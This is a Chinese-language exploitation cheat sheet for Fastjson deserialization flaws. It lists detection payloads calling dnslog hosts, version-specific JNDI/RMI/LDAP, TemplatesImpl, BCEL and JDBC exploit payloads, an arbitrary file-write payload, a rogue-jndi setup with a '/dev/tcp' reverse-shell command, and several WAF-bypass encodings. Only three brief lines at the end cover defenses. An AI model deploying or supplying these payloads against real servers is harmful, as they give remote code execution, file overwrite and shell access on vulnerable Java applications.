fastjson反序列化漏洞原理
1、开启autotype功能
2、当组件开启了autotype功能并且反序列化不可信数据时
3、Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法
4、若指定类的指定方法中有可被恶意利用的逻辑(Gadget)
5、不开启autotype可利用缓存机制进行绕过
漏洞检测
1.检测是否Fastjson
payload:
1 | [{"a":"a\x] dos漏洞 |
1.2.67版本前
1 | {"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}} |
2.精确检测版本
1 | [{"a":"a\x] |
攻击思路
1.2.24
1、基于jndi
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true} |
2、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
(限制条件:解析JSON的时候需要使用Feature)
1 | {"@type":sss"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"} |
3、org.apache.tomcat.dbcp.dbcp2.BasicDataSource
(限制条件:应用部署在Tomcat应用环境中 Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource )
1 | {"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"} |
1.2.47
1.2.25 以后autotype默认开启,所以41-45的一些Poc这里也不再列出, 我们直接跳到1.2.48以下不需要开启autotype下的Poc,其实1.2.47之前的Poc都可以改成绕过autotype格式
1 | {"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:1098/jndi", "autoCommit": true}} |
1.2.68
48以后68之前的Poc也需要目标开启autotype了,这里也跳过,直接看68的Poc,无须开启autype
fastjson-1.2.68 任意文件写入poc
1 | {"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}} |
fastjson-1.2.68 jdbc反序列化poc
1 | {"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}} |
不出网利用
参考:https://mp.weixin.qq.com/s/LZt-I3s0dQ_bK9ubEix8iQ
这里主要基本Poc使用1.2.24 无需出网Poc + 1.2.47嘚绕过autotype
首先获取恶意class
1 | public class Calc{ |
获取到class文件后,转化为BCEL格式(建议以上两步在低版本jdk下运行)
1 | import com.sun.org.apache.bcel.internal.classfile.Utility; |
基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc
1 | { |
高版本jdk JNDI注入
参考项目:https://github.com/veracode-research/rogue-jndi
漏洞原理:https://paper.seebug.org/942/#ldapgadget
1.填写好你的反弹命令
1 | sh -i >& /dev/tcp/你的vpsip/端口 0>&1 |
2.runtime base64编码
访问http://www.jackson-t.ca/runtime-exec-payloads.html
把第一步的命令粘进去,自动编码,复制下来把bash的关键字都改为sh
3.使用RogueJndi-1.0开启ldap
java -jar RogueJndi-1.0.jar -n “0.0.0.0” -c “写入第二步的命令”
4.jndi地址为
ldap://vpsip:1389/o=tomcat
注:rogue-jndi 没法绕tomcat7
Fastjson WAF 绕过
1、unicode编码
1 | {"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://t00ls.5cd37009d59fc2c7fc55f2bee57cafab.dnslog.cn/aaa","autoCommit":true}} |
2、XCTF-校战“疫”中的ctf题目的一个payload:\x74
1 | {"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","- prefix":"rmi://xxx.xxx"} |
3、\b
1 | {"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}} |
4、/**/
1 | {"@type":/**/"Lcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true} |
防御手段
1、设置黑名单与白名单
2、禁用autotype等关键词,可以在WAF上设置
3、升级fastjson版本